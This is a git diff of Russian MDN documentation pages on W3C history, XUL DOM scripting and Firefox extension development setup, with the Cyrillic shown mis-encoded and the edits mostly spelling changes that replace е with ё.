<p style="text-align: justify;">Π˜ΡΡ‚ΠΎΡ€ΠΈΡ‡Π΅ΡΠΊΠΈ слоТилось Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎ Π² Π½Π°Ρ‡Π°Π»Π΅ 90-Ρ… Π³ΠΎΠ΄ΠΎΠ² XX Π²Π΅ΠΊΠ° Ρ€Π°Π·Π²ΡΠ·Π°Π»Π°ΡΡŒ Ρ‚Π°ΠΊ называСмая "Π²ΠΎΠΉΠ½Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ²" ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠ΅ΠΉ Netscape ΠΈ Microsoft. Π‘ΡƒΡ‚ΡŒ Π²ΠΎΠΉΠ½Ρ‹ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π»Π°ΡΡŒ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² ΡΡ‚Ρ€Π΅ΠΌΠΈΠ»ΠΈΡΡŒ привнСсти Π² ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚Ρ‹ своих Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΎΠΊ собствСнныС Π½ΠΎΠ²Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Π½ΠΎ ΠΏΡ€ΠΈ этом ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π½ΠΎ Π½Π΅ Π·Π°Π±ΠΎΡ‚ΠΈΠ»ΠΈΡΡŒ ΠΎ совмСстимости Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ ΠΈ Π½Π΅ согласовывали свои дСйствия с Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌΠΈ ΠΊΠΎΠ½ΠΊΡƒΡ€ΠΈΡ€ΡƒΡŽΡ‰Π΅ΠΉ ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ. По этой ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π΅ Π½Π°Ρ‡Π°Π»ΠΎ Π²ΠΎΠ·Ρ€Π°ΡΡ‚Π°Ρ‚ΡŒ Π½Π΅Π΄ΠΎΠ²ΠΎΠ»ΡŒΡΡ‚Π²ΠΎ ΠΊΠ°ΠΊ срСди людСй, ΡΠΎΠ·Π΄Π°ΡŽΡ‰ΠΈΡ… сайты, Ρ‚Π°ΠΊ ΠΈ срСди людСй, ΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΡ…ΡΡ ΡΠ΅Ρ‚ΡŒΡŽ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ - вСдь сайты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ‹Π»ΠΈ написаны ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ для Netscape Navigator ΠΊΡ€Π°ΠΉΠ½Π΅ ΠΏΠ»ΠΎΡ…ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π»ΠΈ Π² Microsoft Intrnet Explorer ΠΈ Π½Π°ΠΎΠ±ΠΎΡ€ΠΎΡ‚ посрСдством Internet Explorer ΠΏΠΎΡ‡Ρ‚ΠΈ Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ ΠΏΡ€ΠΎΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ сайт, написанный для Netscape Navigator.</p>
-<p style="text-align: justify;">Π’ 1994 Π³ΠΎΠ΄Ρƒ Π² ΠœΠ°ΡΡΠ°Ρ‡ΡƒΡΠ΅Ρ‚ΡΠΊΠΎΠΌ тСхнологичСском институтС ΠΏΡ€ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ΅ CERN, DARPA ΠΈ ЕвропСйской Комиссии появилась организация <strong>World Wide Web Consortcium</strong> ΠΈΠ»ΠΈ, сокращСнно, <strong>W3C</strong>. ЦСлью консорциума ΠΏΠΎ сСй дСнь являСтся упорядочиваниС всСх Π²Π΅Π±-Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ ΠΈΡ… Π΄ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ Π±ΠΎΠ»ΡŒΡˆΠ΅ΠΌΡƒ числу людСй всСго ΠΌΠΈΡ€Π°.</p>
+<p style="text-align: justify;">Π’ 1994 Π³ΠΎΠ΄Ρƒ Π² ΠœΠ°ΡΡΠ°Ρ‡ΡƒΡΠ΅Ρ‚ΡΠΊΠΎΠΌ тСхнологичСском институтС ΠΏΡ€ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ΅ CERN, DARPA ΠΈ ЕвропСйской Комиссии появилась организация <strong>World Wide Web Consortcium</strong> ΠΈΠ»ΠΈ, сокращённо, <strong>W3C</strong>. ЦСлью консорциума ΠΏΠΎ сСй дСнь являСтся упорядочиваниС всСх Π²Π΅Π±-Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ ΠΈΡ… Π΄ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ Π±ΠΎΠ»ΡŒΡˆΠ΅ΠΌΡƒ числу людСй всСго ΠΌΠΈΡ€Π°.</p>
<p style="text-align: justify;">Начиная, ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ, с 2000 Π³ΠΎΠ΄Π° всС ΠΊΡ€ΡƒΠΏΠ½Ρ‹Π΅ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния для сСти ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ ΡΡ‚Π°Ρ€Π°ΡŽΡ‚ΡΡ ΠΏΡ€ΠΈΠ΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ стандартов W3C для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ своим ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚Π°ΠΌ ΠΌΠ°ΠΊΡΠΈΠΌΠ°Π»ΡŒΠ½ΡƒΡŽ ΡΡ„Ρ„Π΅ΠΊΡ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ ΠΈ ΡΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎΠΌ Π²Π΅Π±-рСсурсов. Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Ρ€Π°Π±ΠΎΡ‚Ρ‹ консорциума ΠΏΠΎ стандартизации Π²Π΅Π±-Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ Π½Π° сСгодняшний дСнь ΠΎΡ‡Π΅Π½ΡŒ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»Π΅Π½ ΠΈ выраТаСтся Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π²Π΅Π±-Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π°ΡŽΡ‚ всС большСС распространСниС Π² нашСм ΠΌΠΈΡ€Π΅ ΠΈ ΡƒΠΏΡ€ΠΎΡ‰Π°ΡŽΡ‚ ΠΌΠ½ΠΎΠ³ΠΈΠΌ Тизнь.</p>
<h1 id="Бсылки">Бсылки</h1>
<p>ΠžΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉ сайт W3C (Π°Π½Π³Π».): <a class=" external" href="http://www.w3.org" rel="freelink">http://www.w3.org</a></p>
diff --git a/files/ru/orphaned/динамичСски_измСняСмый_ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ_интСрфСйс_Π½Π°_xul/index.html b/files/ru/orphaned/динамичСски_измСняСмый_ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ_интСрфСйс_Π½Π°_xul/index.html
index e1243dbba0..0af3771593 100644
--- a/files/ru/orphaned/динамичСски_измСняСмый_ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ_интСрфСйс_Π½Π°_xul/index.html
+++ b/files/ru/orphaned/динамичСски_измСняСмый_ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ_интСрфСйс_Π½Π°_xul/index.html
@@ -13,7 +13,7 @@ original_slug: ДинамичСски_измСняСмый_ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π
<p>Как Π²Ρ‹ Π·Π½Π°Π΅Ρ‚Π΅, <a href="/ru/XUL" title="ru/XUL">XUL</a>Β β€” это язык, основанный Π½Π° <a href="/ru/XML" title="ru/XML">XML</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ использовался Π² Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… прилоТСниях, основанных Π½Π° Mozilla, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ Firefox ΠΈ Thunderbird, для описания ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса. Π’ XUL прилоТСниях <a href="/ru/JavaScript" title="ru/JavaScript">JavaScript</a> ΠΎΠ±ΡŠΡΠ²Π»ΡΠ΅Ρ‚ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ <a href="/ru/Gecko_DOM_Reference" title="ru/Gecko_DOM_Reference">DOM APIs</a> для доступа ΠΊ XUL Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρƒ.</p>
<p>Π’Π°ΠΊ Ρ‡Ρ‚ΠΎ ΠΆΠ΅ Ρ‚Π°ΠΊΠΎΠ΅ <strong>D</strong>ocument <strong>O</strong>bject <strong>M</strong>odel APIs?</p>
<p>Π­Ρ‚ΠΎ интСрфСйсы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ ΠΏΡ€ΠΈ любом взаимодСйствии скрипта ΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. Если Π²Ρ‹ ΠΊΠΎΠ³Π΄Π°-Π»ΠΈΠ±ΠΎ писали скрипт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ взаимодСйствуСт с XUL (ΠΈΠ»ΠΈ HTML) Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌ, Ρ‚ΠΎ Π²Ρ‹ ΡƒΠΆΠ΅ использовали DOM-Π²Ρ‹Π·ΠΎΠ²Ρ‹. ΠŸΠΎΠΆΠ°Π»ΡƒΠΉ, Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ извСстным DOM ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ являСтся <code><a href="/ru/DOM/document.getElementById" title="ru/DOM/document.getElementById">document.getElementById()</a></code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ элСмСнт с Π·Π°Π΄Π°Π½Π½Ρ‹ΠΌ <code>id</code>. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π²Ρ‹ использовали ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ DOM-Π²Ρ‹Π·ΠΎΠ²Ρ‹, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ <code><a href="/ru/DOM/element.setAttribute" title="ru/DOM/element.setAttribute">element.setAttribute()</a></code>, ΠΈΠ»ΠΈ, Ссли Π²Ρ‹ писали Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ, ΠΌΠ΅Ρ‚ΠΎΠ΄ <code><a href="/ru/DOM/element.addEventListener" title="ru/DOM/element.addEventListener">addEventListener()</a></code>. ВсС ΠΎΠ½ΠΈ ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½Ρ‹ Π² DOM.</p>
-<p>Π‘ΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Ρ‚Π°ΠΊΠΆΠ΅ DOM-ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠΎΠ·Π΄Π°ΡŽΡ‚, ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°ΡŽΡ‚ ΠΈΠ»ΠΈ ΡƒΠ΄Π°Π»ΡΡŽΡ‚ элСмСнты ΠΈΠ· Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. Они Π±ΡƒΠ΄ΡƒΡ‚ продСмонстрированы ΠΏΠΎΠ·ΠΆΠ΅ Π² этом ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Π΅. А сСйчас Π΄Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΠΎΠΉΠΌΠ΅ΠΌ, Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ <em>document</em>.</p>
+<p>Π‘ΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Ρ‚Π°ΠΊΠΆΠ΅ DOM-ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠΎΠ·Π΄Π°ΡŽΡ‚, ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°ΡŽΡ‚ ΠΈΠ»ΠΈ ΡƒΠ΄Π°Π»ΡΡŽΡ‚ элСмСнты ΠΈΠ· Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. Они Π±ΡƒΠ΄ΡƒΡ‚ продСмонстрированы ΠΏΠΎΠ·ΠΆΠ΅ Π² этом ΠΏΠ°Ρ€Π°Π³Ρ€Π°Ρ„Π΅. А сСйчас Π΄Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΠΎΠΉΠΌΡ‘ΠΌ, Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ <em>document</em>.</p>
<h3 id=".D0.A7.D1.82.D0.BE_.D1.82.D0.B0.D0.BA.D0.BE.D0.B5_document.3F" name=".D0.A7.D1.82.D0.BE_.D1.82.D0.B0.D0.BA.D0.BE.D0.B5_document.3F">Π§Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ document?</h3>
<p>DocumentΒ β€” это структура Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ Ρ‡Π΅Ρ€Π΅Π· DOM APIs. ЛогичСской структурой ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° document являСтся Π΄Π΅Ρ€Π΅Π²ΠΎ с ΡƒΠ·Π»Π°ΠΌΠΈ-элСмСнтами, Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°ΠΌΠΈ, коммСнтариями ΠΈ Ρ‚.Π΄. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ инструмСнт <a href="/ru/DOM_Inspector" title="ru/DOM_Inspector">DOM Inspector</a>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ Π΄Ρ€Π΅Π²ΠΎΠ²ΠΈΠ΄Π½ΠΎΠ΅ прСдставлСниС любого ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° document.</p>
<p>МоТно ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ document β€” это прСдставлСниС Π² памяти ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠ³ΠΎ HTML ΠΈΠ»ΠΈ Ρ…ΠΎΡ€ΠΎΡˆΠΎ сформированного XML, ΠΊΠ°ΠΊ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, xhtml ΠΈΠ»ΠΈ XUL.</p>
@@ -32,12 +32,12 @@ original_slug: ДинамичСски_измСняСмый_ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π
<p>Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ добавляСт Π΄Π²Π° Π½ΠΎΠ²Ρ‹Ρ… элСмСнта мСню ΠΊ <code><a href="/ru/XUL/menupopup" title="ru/XUL/menupopup">&lt;menupopup&gt;</a></code>: Π² Π½Π°Ρ‡Π°Π»ΠΎ ΠΈ Π² ΠΊΠΎΠ½Π΅Ρ†. Π—Π΄Π΅ΡΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code><a href="/ru/DOM/document.createElementNS" title="ru/DOM/document.createElementNS">document.createElementNS()</a></code> для создания элСмСнтов ΠΈ <code><a href="/ru/DOM/element.insertBefore" title="ru/DOM/element.insertBefore">insertBefore()</a></code> с <code><a href="/ru/DOM/element.appendChild" title="ru/DOM/element.appendChild">appendChild()</a></code> для вставки созданных xml элСмСнтов Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚.</p>
<p>ЗамСчания:</p>
<ul>
- <li><code><a href="/ru/DOM/document.createElementNS" title="ru/DOM/document.createElementNS">document.createElementNS()</a></code> создаСт элСмСнт, Π½ΠΎ Π½Π΅ добавляСт Π½ΠΈΡ‡Π΅Π³ΠΎ Π² document. НСобходимо Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π΄Ρ€ΡƒΠ³ΠΈΠΌ DOM-ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ, Ρ‚Π°ΠΊΠΈΠΌ ΠΊΠ°ΠΊ <code><a href="/ru/DOM/element.appendChild" title="ru/DOM/element.appendChild">appendChild()</a></code> для вставки Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‡Ρ‚ΠΎ созданного элСмСнта Π² document.</li>
+ <li><code><a href="/ru/DOM/document.createElementNS" title="ru/DOM/document.createElementNS">document.createElementNS()</a></code> создаёт элСмСнт, Π½ΠΎ Π½Π΅ добавляСт Π½ΠΈΡ‡Π΅Π³ΠΎ Π² document. НСобходимо Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π΄Ρ€ΡƒΠ³ΠΈΠΌ DOM-ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ, Ρ‚Π°ΠΊΠΈΠΌ ΠΊΠ°ΠΊ <code><a href="/ru/DOM/element.appendChild" title="ru/DOM/element.appendChild">appendChild()</a></code> для вставки Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‡Ρ‚ΠΎ созданного элСмСнта Π² document.</li>
<li><code><a href="/ru/DOM/element.appendChild" title="ru/DOM/element.appendChild">appendChild()</a></code> добавляСт ΡƒΠ·Π΅Π» послС Π΄Ρ€ΡƒΠ³ΠΈΡ… ΡƒΠ·Π»ΠΎΠ², Π° <code><a href="/ru/DOM/element.insertBefore" title="ru/DOM/element.insertBefore">insertBefore()</a></code> вставляСт ΡƒΠ·Π΅Π» ΠΏΠ΅Ρ€Π΅Π΄ ΡƒΠ·Π»ΠΎΠΌ, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΌ Π²ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΌ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π΅.</li>
</ul>
<pre class="eval">function createMenuItem(aLabel) {
const XUL_NS = "<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>";
- var item = document.createElementNS(XUL_NS, "menuitem"); // Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт мСню XUL
+ var item = document.createElementNS(XUL_NS, "menuitem"); // Π‘ΠΎΠ·Π΄Π°Ρ‘ΠΌ Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт мСню XUL
item.setAttribute("label", aLabel);
return item;
}
@@ -52,7 +52,7 @@ popup.appendChild(last);
</pre>
<p>Π­Ρ‚ΠΎΡ‚ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ ΡƒΠ΄Π°Π»ΠΈΡ‚ ΡƒΠ·Π΅Π» ΠΈΠ· Π΅Π³ΠΎ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ мСста ΠΈ Π·Π°Π½ΠΎΠ²ΠΎ вставит Π΅Π³ΠΎ Π² ΠΊΠΎΠ½Π΅Ρ† popup'Π°.</p>
<h3 id=".D0.90.D0.BD.D0.BE.D0.BD.D0.B8.D0.BC.D0.BD.D0.BE.D0.B5_.D1.81.D0.BE.D0.B4.D0.B5.D1.80.D0.B6.D0.B8.D0.BC.D0.BE.D0.B5_.28XBL.29" name=".D0.90.D0.BD.D0.BE.D0.BD.D0.B8.D0.BC.D0.BD.D0.BE.D0.B5_.D1.81.D0.BE.D0.B4.D0.B5.D1.80.D0.B6.D0.B8.D0.BC.D0.BE.D0.B5_.28XBL.29">АнонимноС содСрТимоС (XBL)</h3>
-<p><a href="/ru/XBL" title="ru/XBL">XBL</a>Β β€” это язык, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ Π² Mozilla для объявлСния Π½ΠΎΠ²Ρ‹Ρ… Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ΠΎΠ². Π’ΠΈΠ΄ΠΆΠ΅Ρ‚Ρ‹, ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½Π½Ρ‹Π΅ Π² XBL ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ для объявлСния Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ содСрТимого, объСдинСнного Π² связку с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π³Ρ€Π°Π½ΠΈΡ‡Π½ΠΎΠ³ΠΎ элСмСнта. Π’Π°ΠΊΠΎΠ΅ содСрТимоС называСтся <em>Π°Π½ΠΎΠ½ΠΈΠΌΠ½ΠΎΠ΅ содСрТимоС</em> ΠΈ ΠΎΠ½ΠΎ Π½Π΅ доступно Ρ‡Π΅Ρ€Π΅Π· ΠΎΠ±Ρ‹Ρ‡Π½ΡƒΡŽ модСль DOM. <span class="comment">(ΠΏΠΎΠ΄ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚ΠΈΡ€ΡƒΠΉΡ‚Π΅, я Π½Π΅ понял смысла</span>).</p>
+<p><a href="/ru/XBL" title="ru/XBL">XBL</a>Β β€” это язык, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ Π² Mozilla для объявлСния Π½ΠΎΠ²Ρ‹Ρ… Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ΠΎΠ². Π’ΠΈΠ΄ΠΆΠ΅Ρ‚Ρ‹, ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½Π½Ρ‹Π΅ Π² XBL ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ для объявлСния Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ содСрТимого, ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½Ρ‘Π½Π½ΠΎΠ³ΠΎ Π² связку с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π³Ρ€Π°Π½ΠΈΡ‡Π½ΠΎΠ³ΠΎ элСмСнта. Π’Π°ΠΊΠΎΠ΅ содСрТимоС называСтся <em>Π°Π½ΠΎΠ½ΠΈΠΌΠ½ΠΎΠ΅ содСрТимоС</em> ΠΈ ΠΎΠ½ΠΎ Π½Π΅ доступно Ρ‡Π΅Ρ€Π΅Π· ΠΎΠ±Ρ‹Ρ‡Π½ΡƒΡŽ модСль DOM. <span class="comment">(ΠΏΠΎΠ΄ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚ΠΈΡ€ΡƒΠΉΡ‚Π΅, я Π½Π΅ понял смысла</span>).</p>
<p>ВмСсто этого Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ интСрфСйса <code><a href="/ru/NsIDOMDocumentXBL" title="ru/NsIDOMDocumentXBL">nsIDOMDocumentXBL</a></code>. НапримСр:</p>
<pre class="eval">// Π’Ρ‹Π±ΠΈΡ€Π°Π΅Ρ‚ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Π°Π½ΠΎΠ½ΠΈΠΌΠ½Ρ‹ΠΉ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΉ элСмСнт для Π·Π°Π΄Π°Π½Π½ΠΎΠ³ΠΎ
document.getAnonymousNodes(node)[0];
diff --git a/files/ru/orphaned/настройка_срСды_Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ_Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΉ/index.html b/files/ru/orphaned/настройка_срСды_Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ_Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΉ/index.html
index 7c408ddfd9..2b42897a3d 100644
--- a/files/ru/orphaned/настройка_срСды_Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ_Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΉ/index.html
+++ b/files/ru/orphaned/настройка_срСды_Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ_Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΉ/index.html
@@ -24,7 +24,7 @@ start "" "%ProgramFiles%\Mozilla Firefox\firefox.exe" -ProfileManager
<p>для Windows.</p>
-<p>ПослС создания профиля (Π½Π°Π·ΠΎΠ²Π΅ΠΌ Π΅Π³ΠΎ <code>myDevProfile</code>) ΠΌΠΎΠΆΠ½ΠΎ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Firefox, ΡƒΠΊΠ°Π·Π°Π² ΠΊΠ»ΡŽΡ‡ <code>"-P myDevProfile"</code>. ΠŸΡ€ΠΎΡ„ΠΈΠ»ΡŒ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ называСтся <code>"default"</code>. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, для удобства запуска ΠΌΠΎΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ 2 ярлыка (символичСскиС ссылки) Π½Π° Firefox с ΠΊΠ»ΡŽΡ‡Π°ΠΌΠΈ <code>"-P &lt;profileName&gt;"</code>.</p>
